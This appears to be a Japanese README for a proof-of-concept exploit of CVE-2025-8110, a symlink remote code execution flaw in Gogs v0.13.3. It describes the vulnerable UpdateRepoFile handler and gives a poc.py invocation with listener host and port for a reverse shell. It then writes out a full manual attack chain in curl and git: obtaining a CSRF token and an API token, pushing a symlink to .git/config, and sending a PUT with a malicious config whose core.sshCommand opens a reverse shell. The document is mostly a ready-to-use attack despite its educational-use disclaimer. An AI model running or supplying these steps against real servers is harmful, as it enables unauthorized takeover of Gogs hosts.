
Gogs の symlink RCE (CVE-2025-8110) に対するワンショットエクスプロイト。UpdateRepoFile への単一の PUT リクエストでリバースシェルをトリガーします。
CVE-2025-8110 向けの Python 概念実証スクリプト — Gogs v0.13.3 の UpdateRepoFile シンボリックリンク RCE。シングルショット: 悪意のある PUT 自体が git fetch → sshCommand → リバースシェルをトリガーします。
⚠️ 教育目的および許可を得たセキュリティ研究のみを対象としています。 このツールを、所有していない、または書面によるテスト許可がないシステムに対して実行することは違法です。
internal/db/repo_editor.go の UpdateRepoFile ハンドラーは、ファイル内容を書き込むために os.WriteFile を呼び出しますが、シンボリックリンクをチェックせずに追跡します。さらに、過去のシンボリックリンクコミットが 内にまで到達するという事実と組み合わせると、攻撃者は以下を実行できます。
.git/x → .git/config をベアリポジトリにプッシュするcore.sshCommand を含む悪意のある .git/config を指定して PUT /api/v1/repos/{owner}/{repo}/contents/x を呼び出すgit fetch origin(CreateOrUpdateRepoFile → UpdateLocalCopyBranch 経由)をトリガーし、変更された設定を読み取って sshCommand を実行する — 一発でリバースシェルを起動します。poc.py: ターゲット、ユーザー名、パスワード、LHOST、LPORT をプロンプトで受け取ります。ログインし、API トークンを作成し、リポジトリを作成し、シンボリックリンクをプッシュし、API 経由で .git/config を上書きします — 単一の PUT リクエスト自体がリバースシェルをトリガーします。実行:
python3 poc.py --target https://gogs.example.com --username admin --password admin123 --lhost 10.10.14.206 --lport 9001
| 引数 | 必須 | 説明 |
|---|---|---|
--target / -t | はい | Gogs ターゲットのホスト名または URL |
--username | はい | 既存の Gogs ユーザー名 |
--password | はい | 既存の Gogs パスワード |
--lhost | はい | リバースシェル用のリスナー IP |
--lport | はい | リスナーポート |
/user/settings/applications 経由で個人用 API トークンを作成しますx → .git/config を作成してコミットし、プッシュしますcore.sshCommand と SSH リモート URL を含む)を指定して PUT /api/v1/repos/{owner}/{repo}/contents/x を送信します。Gogs の CreateOrUpdateRepoFile は内部で UpdateLocalCopyBranch → git fetch origin を呼び出し、改ざんされた設定を読み取って sshCommand を実行します — 1 回のリクエストでリバースシェルを起動します。curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/login
# Extract _csrf from response
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/login \
-d '_csrf=<csrf>&user_name=<user>&password=<pass>'
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/settings/applications
# Extract _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/settings/applications \
-d '_csrf=<csrf>&name=poc-token'
curl -X POST http://target/api/v1/user/repos \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
-d '{"name":"poc-repo"}'
git clone http://<user>:<token>@target/<user>/poc-repo.git
cd poc-repo
ln -s .git/config x
git add x
git commit -m "add symlink"
git push origin master
curl -X PUT http://target/api/v1/repos/<user>/poc-repo/contents/x \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
--max-time 10 \
-d '{"message":"x","content":"<base64 of malicious git config>"}'
PUT リクエスト自体が git fetch origin をトリガーし、改ざんされた .git/config を読み取ってリバースシェルを実行します。2 回目のリクエストは必要ありません。
なぜ
--max-time 10なのか? サーバーは、git が書き込みを処理してフェッチをトリガーする間、約 10 秒間ハングする可能性があります。--max-time 10を使用すると、curl がシェルの接続を受信できる十分な時間接続を維持します。これがないと、シェルが起動する前に接続が切断される可能性があります。